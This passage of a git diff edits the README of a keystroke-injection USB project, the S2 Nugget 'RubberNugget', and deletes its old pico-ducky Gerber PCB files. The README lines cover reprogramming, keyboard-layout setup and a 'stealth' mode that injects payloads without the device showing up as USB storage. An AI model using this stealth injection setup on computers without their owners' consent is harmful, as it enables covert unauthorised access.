Remove the jumper and reconnect to your PC to reprogram.
|
||||
The default mode is USB mass storage enabled.
|
||||
If you need the S2 Nugget to not show up as a USB mass storage device for stealth, follow these instructions:
|
||||
|
||||

|
||||
Hold the DOWN button when plugging in your S2 Nugget. It should load the menu and inject payloads, but not appear as a USB device.
|
||||
|
||||
Reset the board without holding down the button to make the device appear as a USB drive again.
|
||||
|
||||
### Changing Keyboard Layouts
|
||||
|
||||
Copied from [Neradoc/Circuitpython_Keyboard_Layouts](https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/blob/main/PICODUCKY.md)
|
||||
|
||||
#### How to use one of these layouts with the pico-ducky repository.
|
||||
#### How to use one of these layouts with the RubberNugget repository.
|
||||
|
||||
**Go to the [latest release page](https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/releases/latest), look if your language is in the list.**
|
||||
|
||||
@@ -69,7 +83,7 @@ Copied from [Neradoc/Circuitpython_Keyboard_Layouts](https://github.com/Neradoc/
|
||||
|
||||
Download the `py` zip, named `circuitpython-keyboard-layouts-py-XXXXXXXX.zip`
|
||||
|
||||
**NOTE: You can use the mpy version targetting the version of Circuitpython that is on the device, but on Raspberry Pi Pico you don't need it - they only reduce file size and memory use on load, which the pico has plenty of.**
|
||||
**NOTE: You can use the mpy version targetting the version of Circuitpython that is on the device, but on the S2 Nugget you don't need it - they only reduce file size and memory use on load, which the S2 Nugget has plenty of.**
|
||||
|
||||
#### If your language/layout is not in the bundle
|
||||
|
||||
@@ -86,6 +100,7 @@ For a language `LANG`, copy the following files from the zip's `lib` folder to t
|
||||
**DO NOT** change the names or extensions of the files. Just pick the right ones.
|
||||
Replace `LANG` with the letters for your language of choice.
|
||||
|
||||
- `keyboard_layout.py`
|
||||
- `keyboard_layout_win_LANG.py`
|
||||
- `keycode_win_LANG.py`
|
||||
|
||||
@@ -95,7 +110,7 @@ This is what it should look like **if your language is French for example**.
|
||||
|
||||

|
||||
|
||||
#### Modify the pico-ducky code to use your language file:
|
||||
#### Modify the RubberNugget code to use your language file:
|
||||
|
||||
At the start of the file comment out these lines:
|
||||
|
||||
@@ -111,29 +126,8 @@ from keyboard_layout_win_LANG import KeyboardLayout
|
||||
from keycode_win_LANG import Keycode
|
||||
```
|
||||
|
||||
##### Example: Set to German Keyboard (WIN_DE)
|
||||
|
||||
```py
|
||||
from keyboard_layout_win_de import KeyboardLayout
|
||||
from keycode_win_de import Keycode
|
||||
```
|
||||
|
||||
Copy the files keyboard_layout_win_de.mpy and keycode_win_de.mpy to the /lib folder on the Pico board
|
||||
```
|
||||
adafruit_hid/
|
||||
keyboard_layout_win_de.mpy
|
||||
keycode_win_de.mpy
|
||||
```
|
||||
|
||||
|
||||
|
||||
## Useful links and resources
|
||||
|
||||
### Installation Tool
|
||||
|
||||
[raspberrypi5621](https://github.com/raspberrypi5621) Created a tool to convert a blank RPi Pico to a ducky.
|
||||
You can find the tool [here](https://github.com/raspberrypi5621/pyducky)
|
||||
|
||||
### Docs
|
||||
|
||||
[CircuitPython](https://circuitpython.readthedocs.io/en/6.3.x/README.html)
|
||||
|
||||
@@ -1,209 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:31-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Copper,L2,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:31*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD10C,1.320800*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD11C,1.752600*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD12R,1.700000X1.700000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD13O,1.700000X1.700000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD14R,1.308000X1.308000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD15C,1.308000*%
|
||||
%TD*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.P,SW3,1,1*%
|
||||
%TO.N,Net-(J1-Pad6)*%
|
||||
X105400000Y-71800000D03*
|
||||
%TO.P,SW3,2,2*%
|
||||
%TO.N,Net-(J1-Pad7)*%
|
||||
X105400000Y-73800001D03*
|
||||
%TO.P,SW3,3,3*%
|
||||
%TO.N,Net-(J1-Pad8)*%
|
||||
X105400000Y-75800000D03*
|
||||
%TO.P,SW3,4,4*%
|
||||
%TO.N,Net-(J1-Pad13)*%
|
||||
X105400000Y-77800001D03*
|
||||
%TO.P,SW3,5,5*%
|
||||
%TO.N,Net-(J1-Pad14)*%
|
||||
X105400000Y-79799999D03*
|
||||
%TO.P,SW3,6,6*%
|
||||
%TO.N,Net-(J1-Pad15)*%
|
||||
X105400000Y-81800000D03*
|
||||
D11*
|
||||
%TO.P,SW3,7*%
|
||||
%TO.N,N/C*%
|
||||
X105400000Y-69700000D03*
|
||||
%TO.P,SW3,8*%
|
||||
X105400000Y-83900000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.P,J2,1,Pin_1*%
|
||||
%TO.N,unconnected-(J2-Pad1)*%
|
||||
X131000000Y-53400000D03*
|
||||
D13*
|
||||
%TO.P,J2,2,Pin_2*%
|
||||
%TO.N,unconnected-(J2-Pad2)*%
|
||||
X131000000Y-55940000D03*
|
||||
%TO.P,J2,3,Pin_3*%
|
||||
%TO.N,unconnected-(J2-Pad3)*%
|
||||
X131000000Y-58480000D03*
|
||||
%TO.P,J2,4,Pin_4*%
|
||||
%TO.N,unconnected-(J2-Pad4)*%
|
||||
X131000000Y-61020000D03*
|
||||
%TO.P,J2,5,Pin_5*%
|
||||
%TO.N,unconnected-(J2-Pad5)*%
|
||||
X131000000Y-63560000D03*
|
||||
%TO.P,J2,6,Pin_6*%
|
||||
%TO.N,unconnected-(J2-Pad6)*%
|
||||
X131000000Y-66100000D03*
|
||||
%TO.P,J2,7,Pin_7*%
|
||||
%TO.N,unconnected-(J2-Pad7)*%
|
||||
X131000000Y-68640000D03*
|
||||
%TO.P,J2,8,Pin_8*%
|
||||
%TO.N,unconnected-(J2-Pad8)*%
|
||||
X131000000Y-71180000D03*
|
||||
%TO.P,J2,9,Pin_9*%
|
||||
%TO.N,unconnected-(J2-Pad9)*%
|
||||
X131000000Y-73720000D03*
|
||||
%TO.P,J2,10,Pin_10*%
|
||||
%TO.N,unconnected-(J2-Pad10)*%
|
||||
X131000000Y-76260000D03*
|
||||
%TO.P,J2,11,Pin_11*%
|
||||
%TO.N,unconnected-(J2-Pad11)*%
|
||||
X131000000Y-78800000D03*
|
||||
%TO.P,J2,12,Pin_12*%
|
||||
%TO.N,unconnected-(J2-Pad12)*%
|
||||
X131000000Y-81340000D03*
|
||||
%TO.P,J2,13,Pin_13*%
|
||||
%TO.N,unconnected-(J2-Pad13)*%
|
||||
X131000000Y-83880000D03*
|
||||
%TO.P,J2,14,Pin_14*%
|
||||
%TO.N,unconnected-(J2-Pad14)*%
|
||||
X131000000Y-86420000D03*
|
||||
%TO.P,J2,15,Pin_15*%
|
||||
%TO.N,unconnected-(J2-Pad15)*%
|
||||
X131000000Y-88960000D03*
|
||||
%TO.P,J2,16,Pin_16*%
|
||||
%TO.N,unconnected-(J2-Pad16)*%
|
||||
X131000000Y-91500000D03*
|
||||
%TO.P,J2,17,Pin_17*%
|
||||
%TO.N,unconnected-(J2-Pad17)*%
|
||||
X131000000Y-94040000D03*
|
||||
%TO.P,J2,18,Pin_18*%
|
||||
%TO.N,unconnected-(J2-Pad18)*%
|
||||
X131000000Y-96580000D03*
|
||||
%TO.P,J2,19,Pin_19*%
|
||||
%TO.N,unconnected-(J2-Pad19)*%
|
||||
X131000000Y-99120000D03*
|
||||
%TO.P,J2,20,Pin_20*%
|
||||
%TO.N,unconnected-(J2-Pad20)*%
|
||||
X131000000Y-101660000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.P,S1,1*%
|
||||
%TO.N,Net-(J1-Pad18)*%
|
||||
X105200000Y-98000000D03*
|
||||
D15*
|
||||
%TO.P,S1,2*%
|
||||
%TO.N,unconnected-(S1-Pad2)*%
|
||||
X105200000Y-95460000D03*
|
||||
%TO.P,S1,3*%
|
||||
%TO.N,Net-(J1-Pad20)*%
|
||||
X105200000Y-100540000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.P,J1,1,Pin_1*%
|
||||
%TO.N,Net-(J1-Pad1)*%
|
||||
X112950000Y-53205000D03*
|
||||
D13*
|
||||
%TO.P,J1,2,Pin_2*%
|
||||
%TO.N,unconnected-(J1-Pad2)*%
|
||||
X112950000Y-55745000D03*
|
||||
%TO.P,J1,3,Pin_3*%
|
||||
%TO.N,Net-(J1-Pad3)*%
|
||||
X112950000Y-58285000D03*
|
||||
%TO.P,J1,4,Pin_4*%
|
||||
%TO.N,unconnected-(J1-Pad4)*%
|
||||
X112950000Y-60825000D03*
|
||||
%TO.P,J1,5,Pin_5*%
|
||||
%TO.N,unconnected-(J1-Pad5)*%
|
||||
X112950000Y-63365000D03*
|
||||
%TO.P,J1,6,Pin_6*%
|
||||
%TO.N,Net-(J1-Pad6)*%
|
||||
X112950000Y-65905000D03*
|
||||
%TO.P,J1,7,Pin_7*%
|
||||
%TO.N,Net-(J1-Pad7)*%
|
||||
X112950000Y-68445000D03*
|
||||
%TO.P,J1,8,Pin_8*%
|
||||
%TO.N,Net-(J1-Pad8)*%
|
||||
X112950000Y-70985000D03*
|
||||
%TO.P,J1,9,Pin_9*%
|
||||
%TO.N,unconnected-(J1-Pad9)*%
|
||||
X112950000Y-73525000D03*
|
||||
%TO.P,J1,10,Pin_10*%
|
||||
%TO.N,unconnected-(J1-Pad10)*%
|
||||
X112950000Y-76065000D03*
|
||||
%TO.P,J1,11,Pin_11*%
|
||||
%TO.N,unconnected-(J1-Pad11)*%
|
||||
X112950000Y-78605000D03*
|
||||
%TO.P,J1,12,Pin_12*%
|
||||
%TO.N,unconnected-(J1-Pad12)*%
|
||||
X112950000Y-81145000D03*
|
||||
%TO.P,J1,13,Pin_13*%
|
||||
%TO.N,Net-(J1-Pad13)*%
|
||||
X112950000Y-83685000D03*
|
||||
%TO.P,J1,14,Pin_14*%
|
||||
%TO.N,Net-(J1-Pad14)*%
|
||||
X112950000Y-86225000D03*
|
||||
%TO.P,J1,15,Pin_15*%
|
||||
%TO.N,Net-(J1-Pad15)*%
|
||||
X112950000Y-88765000D03*
|
||||
%TO.P,J1,16,Pin_16*%
|
||||
%TO.N,unconnected-(J1-Pad16)*%
|
||||
X112950000Y-91305000D03*
|
||||
%TO.P,J1,17,Pin_17*%
|
||||
%TO.N,unconnected-(J1-Pad17)*%
|
||||
X112950000Y-93845000D03*
|
||||
%TO.P,J1,18,Pin_18*%
|
||||
%TO.N,Net-(J1-Pad18)*%
|
||||
X112950000Y-96385000D03*
|
||||
%TO.P,J1,19,Pin_19*%
|
||||
%TO.N,unconnected-(J1-Pad19)*%
|
||||
X112950000Y-98925000D03*
|
||||
%TO.P,J1,20,Pin_20*%
|
||||
%TO.N,Net-(J1-Pad20)*%
|
||||
X112950000Y-101465000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.P,S2,1*%
|
||||
%TO.N,Net-(J1-Pad3)*%
|
||||
X105700000Y-56740000D03*
|
||||
D15*
|
||||
%TO.P,S2,2*%
|
||||
%TO.N,Net-(J1-Pad1)*%
|
||||
X105700000Y-54200000D03*
|
||||
%TO.P,S2,3*%
|
||||
%TO.N,unconnected-(S2-Pad3)*%
|
||||
X105700000Y-59280000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -1,110 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:33-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Soldermask,Bot*%
|
||||
%TF.FilePolarity,Negative*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:33*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,1.320800*%
|
||||
%ADD11C,1.752600*%
|
||||
%ADD12R,1.700000X1.700000*%
|
||||
%ADD13O,1.700000X1.700000*%
|
||||
%ADD14R,1.308000X1.308000*%
|
||||
%ADD15C,1.308000*%
|
||||
%ADD16C,3.200000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,SW3*%
|
||||
X105400000Y-71800000D03*
|
||||
X105400000Y-73800001D03*
|
||||
X105400000Y-75800000D03*
|
||||
X105400000Y-77800001D03*
|
||||
X105400000Y-79799999D03*
|
||||
X105400000Y-81800000D03*
|
||||
D11*
|
||||
X105400000Y-69700000D03*
|
||||
X105400000Y-83900000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,J2*%
|
||||
X131000000Y-53400000D03*
|
||||
D13*
|
||||
X131000000Y-55940000D03*
|
||||
X131000000Y-58480000D03*
|
||||
X131000000Y-61020000D03*
|
||||
X131000000Y-63560000D03*
|
||||
X131000000Y-66100000D03*
|
||||
X131000000Y-68640000D03*
|
||||
X131000000Y-71180000D03*
|
||||
X131000000Y-73720000D03*
|
||||
X131000000Y-76260000D03*
|
||||
X131000000Y-78800000D03*
|
||||
X131000000Y-81340000D03*
|
||||
X131000000Y-83880000D03*
|
||||
X131000000Y-86420000D03*
|
||||
X131000000Y-88960000D03*
|
||||
X131000000Y-91500000D03*
|
||||
X131000000Y-94040000D03*
|
||||
X131000000Y-96580000D03*
|
||||
X131000000Y-99120000D03*
|
||||
X131000000Y-101660000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,S1*%
|
||||
X105200000Y-98000000D03*
|
||||
D15*
|
||||
X105200000Y-95460000D03*
|
||||
X105200000Y-100540000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X105500000Y-46600000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,J1*%
|
||||
X112950000Y-53205000D03*
|
||||
D13*
|
||||
X112950000Y-55745000D03*
|
||||
X112950000Y-58285000D03*
|
||||
X112950000Y-60825000D03*
|
||||
X112950000Y-63365000D03*
|
||||
X112950000Y-65905000D03*
|
||||
X112950000Y-68445000D03*
|
||||
X112950000Y-70985000D03*
|
||||
X112950000Y-73525000D03*
|
||||
X112950000Y-76065000D03*
|
||||
X112950000Y-78605000D03*
|
||||
X112950000Y-81145000D03*
|
||||
X112950000Y-83685000D03*
|
||||
X112950000Y-86225000D03*
|
||||
X112950000Y-88765000D03*
|
||||
X112950000Y-91305000D03*
|
||||
X112950000Y-93845000D03*
|
||||
X112950000Y-96385000D03*
|
||||
X112950000Y-98925000D03*
|
||||
X112950000Y-101465000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,S2*%
|
||||
X105700000Y-56740000D03*
|
||||
D15*
|
||||
X105700000Y-54200000D03*
|
||||
X105700000Y-59280000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X135400000Y-46700000D03*
|
||||
%TD*%
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X135500000Y-107300000D03*
|
||||
%TD*%
|
||||
%TO.C,REF\u002A\u002A*%
|
||||
X105800000Y-107400000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -1,15 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:32-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Paste,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:32*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
G04 APERTURE END LIST*
|
||||
M02*
|
||||
@@ -1,15 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:32-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Legend,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:32*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
G04 APERTURE END LIST*
|
||||
M02*
|
||||
@@ -1,26 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:33-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Profile,NP*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:33*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%TA.AperFunction,Profile*%
|
||||
%ADD10C,0.100000*%
|
||||
%TD*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
X102120000Y-43060000D02*
|
||||
X139030000Y-43060000D01*
|
||||
X139030000Y-43060000D02*
|
||||
X139030000Y-111080000D01*
|
||||
X139030000Y-111080000D02*
|
||||
X102120000Y-111080000D01*
|
||||
X102120000Y-111080000D02*
|
||||
X102120000Y-43060000D01*
|
||||
M02*
|
||||
@@ -1,264 +0,0 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,6.0.1-79c1e3a40b~116~ubuntu20.04.1*%
|
||||
%TF.CreationDate,2022-02-10T07:45:31-06:00*%
|
||||
%TF.ProjectId,pico-ducky,7069636f-2d64-4756-936b-792e6b696361,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Copper,L1,Top*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW 6.0.1-79c1e3a40b~116~ubuntu20.04.1) date 2022-02-10 07:45:31*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD10C,1.320800*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD11C,1.752600*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD12R,1.700000X1.700000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD13O,1.700000X1.700000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD14R,1.308000X1.308000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,ComponentPad*%
|
||||
%ADD15C,1.308000*%
|
||||
%TD*%
|
||||
%TA.AperFunction,Conductor*%
|
||||
%ADD16C,0.250000*%
|
||||
%TD*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.P,SW3,1,1*%
|
||||
%TO.N,Net-(J1-Pad6)*%
|
||||
X105400000Y-71800000D03*
|
||||
%TO.P,SW3,2,2*%
|
||||
%TO.N,Net-(J1-Pad7)*%
|
||||
X105400000Y-73800001D03*
|
||||
%TO.P,SW3,3,3*%
|
||||
%TO.N,Net-(J1-Pad8)*%
|
||||
X105400000Y-75800000D03*
|
||||
%TO.P,SW3,4,4*%
|
||||
%TO.N,Net-(J1-Pad13)*%
|
||||
X105400000Y-77800001D03*
|
||||
%TO.P,SW3,5,5*%
|
||||
%TO.N,Net-(J1-Pad14)*%
|
||||
X105400000Y-79799999D03*
|
||||
%TO.P,SW3,6,6*%
|
||||
%TO.N,Net-(J1-Pad15)*%
|
||||
X105400000Y-81800000D03*
|
||||
D11*
|
||||
%TO.P,SW3,7*%
|
||||
%TO.N,N/C*%
|
||||
X105400000Y-69700000D03*
|
||||
%TO.P,SW3,8*%
|
||||
X105400000Y-83900000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.P,J2,1,Pin_1*%
|
||||
%TO.N,unconnected-(J2-Pad1)*%
|
||||
X131000000Y-53400000D03*
|
||||
D13*
|
||||
%TO.P,J2,2,Pin_2*%
|
||||
%TO.N,unconnected-(J2-Pad2)*%
|
||||
X131000000Y-55940000D03*
|
||||
%TO.P,J2,3,Pin_3*%
|
||||
%TO.N,unconnected-(J2-Pad3)*%
|
||||
X131000000Y-58480000D03*
|
||||
%TO.P,J2,4,Pin_4*%
|
||||
%TO.N,unconnected-(J2-Pad4)*%
|
||||
X131000000Y-61020000D03*
|
||||
%TO.P,J2,5,Pin_5*%
|
||||
%TO.N,unconnected-(J2-Pad5)*%
|
||||
X131000000Y-63560000D03*
|
||||
%TO.P,J2,6,Pin_6*%
|
||||
%TO.N,unconnected-(J2-Pad6)*%
|
||||
X131000000Y-66100000D03*
|
||||
%TO.P,J2,7,Pin_7*%
|
||||
%TO.N,unconnected-(J2-Pad7)*%
|
||||
X131000000Y-68640000D03*
|
||||
%TO.P,J2,8,Pin_8*%
|
||||
%TO.N,unconnected-(J2-Pad8)*%
|
||||
X131000000Y-71180000D03*
|
||||
%TO.P,J2,9,Pin_9*%
|
||||
%TO.N,unconnected-(J2-Pad9)*%
|
||||
X131000000Y-73720000D03*
|
||||
%TO.P,J2,10,Pin_10*%
|
||||
%TO.N,unconnected-(J2-Pad10)*%
|
||||
X131000000Y-76260000D03*
|
||||
%TO.P,J2,11,Pin_11*%
|
||||
%TO.N,unconnected-(J2-Pad11)*%
|
||||
X131000000Y-78800000D03*
|
||||
%TO.P,J2,12,Pin_12*%
|
||||
%TO.N,unconnected-(J2-Pad12)*%
|
||||
X131000000Y-81340000D03*
|
||||
%TO.P,J2,13,Pin_13*%
|
||||
%TO.N,unconnected-(J2-Pad13)*%
|
||||
X131000000Y-83880000D03*
|
||||
%TO.P,J2,14,Pin_14*%
|
||||
%TO.N,unconnected-(J2-Pad14)*%
|
||||
X131000000Y-86420000D03*
|
||||
%TO.P,J2,15,Pin_15*%
|
||||
%TO.N,unconnected-(J2-Pad15)*%
|
||||
X131000000Y-88960000D03*
|
||||
%TO.P,J2,16,Pin_16*%
|
||||
%TO.N,unconnected-(J2-Pad16)*%
|
||||
X131000000Y-91500000D03*
|
||||
%TO.P,J2,17,Pin_17*%
|
||||
%TO.N,unconnected-(J2-Pad17)*%
|
||||
X131000000Y-94040000D03*
|
||||
%TO.P,J2,18,Pin_18*%
|
||||
%TO.N,unconnected-(J2-Pad18)*%
|
||||
X131000000Y-96580000D03*
|
||||
%TO.P,J2,19,Pin_19*%
|
||||
%TO.N,unconnected-(J2-Pad19)*%
|
||||
X131000000Y-99120000D03*
|
||||
%TO.P,J2,20,Pin_20*%
|
||||
%TO.N,unconnected-(J2-Pad20)*%
|
||||
X131000000Y-101660000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.P,S1,1*%
|
||||
%TO.N,Net-(J1-Pad18)*%
|
||||
X105200000Y-98000000D03*
|
||||
D15*
|
||||
%TO.P,S1,2*%
|
||||
%TO.N,unconnected-(S1-Pad2)*%
|
||||
X105200000Y-95460000D03*
|
||||
%TO.P,S1,3*%
|
||||
%TO.N,Net-(J1-Pad20)*%
|
||||
X105200000Y-100540000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.P,J1,1,Pin_1*%
|
||||
%TO.N,Net-(J1-Pad1)*%
|
||||
X112950000Y-53205000D03*
|
||||
D13*
|
||||
%TO.P,J1,2,Pin_2*%
|
||||
%TO.N,unconnected-(J1-Pad2)*%
|
||||
X112950000Y-55745000D03*
|
||||
%TO.P,J1,3,Pin_3*%
|
||||
%TO.N,Net-(J1-Pad3)*%
|
||||
X112950000Y-58285000D03*
|
||||
%TO.P,J1,4,Pin_4*%
|
||||
%TO.N,unconnected-(J1-Pad4)*%
|
||||
X112950000Y-60825000D03*
|
||||
%TO.P,J1,5,Pin_5*%
|
||||
%TO.N,unconnected-(J1-Pad5)*%
|
||||
X112950000Y-63365000D03*
|
||||
%TO.P,J1,6,Pin_6*%
|
||||
%TO.N,Net-(J1-Pad6)*%
|
||||
X112950000Y-65905000D03*
|
||||
%TO.P,J1,7,Pin_7*%
|
||||
%TO.N,Net-(J1-Pad7)*%
|
||||
X112950000Y-68445000D03*
|
||||
%TO.P,J1,8,Pin_8*%
|
||||
%TO.N,Net-(J1-Pad8)*%
|
||||
X112950000Y-70985000D03*
|
||||
%TO.P,J1,9,Pin_9*%
|
||||
%TO.N,unconnected-(J1-Pad9)*%
|
||||
X112950000Y-73525000D03*
|
||||
%TO.P,J1,10,Pin_10*%
|
||||
%TO.N,unconnected-(J1-Pad10)*%
|
||||
X112950000Y-76065000D03*
|
||||
%TO.P,J1,11,Pin_11*%
|
||||
%TO.N,unconnected-(J1-Pad11)*%
|
||||
X112950000Y-78605000D03*
|
||||
%TO.P,J1,12,Pin_12*%
|
||||
%TO.N,unconnected-(J1-Pad12)*%
|
||||
X112950000Y-81145000D03*
|
||||
%TO.P,J1,13,Pin_13*%
|
||||
%TO.N,Net-(J1-Pad13)*%
|
||||
X112950000Y-83685000D03*
|
||||
%TO.P,J1,14,Pin_14*%
|
||||
%TO.N,Net-(J1-Pad14)*%
|
||||
X112950000Y-86225000D03*
|
||||
%TO.P,J1,15,Pin_15*%
|
||||
%TO.N,Net-(J1-Pad15)*%
|
||||
X112950000Y-88765000D03*
|
||||
%TO.P,J1,16,Pin_16*%
|
||||
%TO.N,unconnected-(J1-Pad16)*%
|
||||
X112950000Y-91305000D03*
|
||||
%TO.P,J1,17,Pin_17*%
|
||||
%TO.N,unconnected-(J1-Pad17)*%
|
||||
X112950000Y-93845000D03*
|
||||
%TO.P,J1,18,Pin_18*%
|
||||
%TO.N,Net-(J1-Pad18)*%
|
||||
X112950000Y-96385000D03*
|
||||
%TO.P,J1,19,Pin_19*%
|
||||
%TO.N,unconnected-(J1-Pad19)*%
|
||||
X112950000Y-98925000D03*
|
||||
%TO.P,J1,20,Pin_20*%
|
||||
%TO.N,Net-(J1-Pad20)*%
|
||||
X112950000Y-101465000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.P,S2,1*%
|
||||
%TO.N,Net-(J1-Pad3)*%
|
||||
X105700000Y-56740000D03*
|
||||
D15*
|
||||
%TO.P,S2,2*%
|
||||
%TO.N,Net-(J1-Pad1)*%
|
||||
X105700000Y-54200000D03*
|
||||
%TO.P,S2,3*%
|
||||
%TO.N,unconnected-(S2-Pad3)*%
|
||||
X105700000Y-59280000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.N,Net-(J1-Pad3)*%
|
||||
X105700000Y-56740000D02*
|
||||
X111405000Y-56740000D01*
|
||||
X111405000Y-56740000D02*
|
||||
X112950000Y-58285000D01*
|
||||
%TO.N,Net-(J1-Pad6)*%
|
||||
X111295000Y-65905000D02*
|
||||
X112950000Y-65905000D01*
|
||||
X105400000Y-71800000D02*
|
||||
X111295000Y-65905000D01*
|
||||
%TO.N,Net-(J1-Pad7)*%
|
||||
X107594999Y-73800001D02*
|
||||
X112950000Y-68445000D01*
|
||||
X105400000Y-73800001D02*
|
||||
X107594999Y-73800001D01*
|
||||
%TO.N,Net-(J1-Pad14)*%
|
||||
X105400000Y-79799999D02*
|
||||
X106524999Y-79799999D01*
|
||||
X106524999Y-79799999D02*
|
||||
X112950000Y-86225000D01*
|
||||
%TO.N,Net-(J1-Pad15)*%
|
||||
X112365000Y-88765000D02*
|
||||
X112950000Y-88765000D01*
|
||||
X105400000Y-81800000D02*
|
||||
X112365000Y-88765000D01*
|
||||
%TO.N,Net-(J1-Pad18)*%
|
||||
X111335000Y-98000000D02*
|
||||
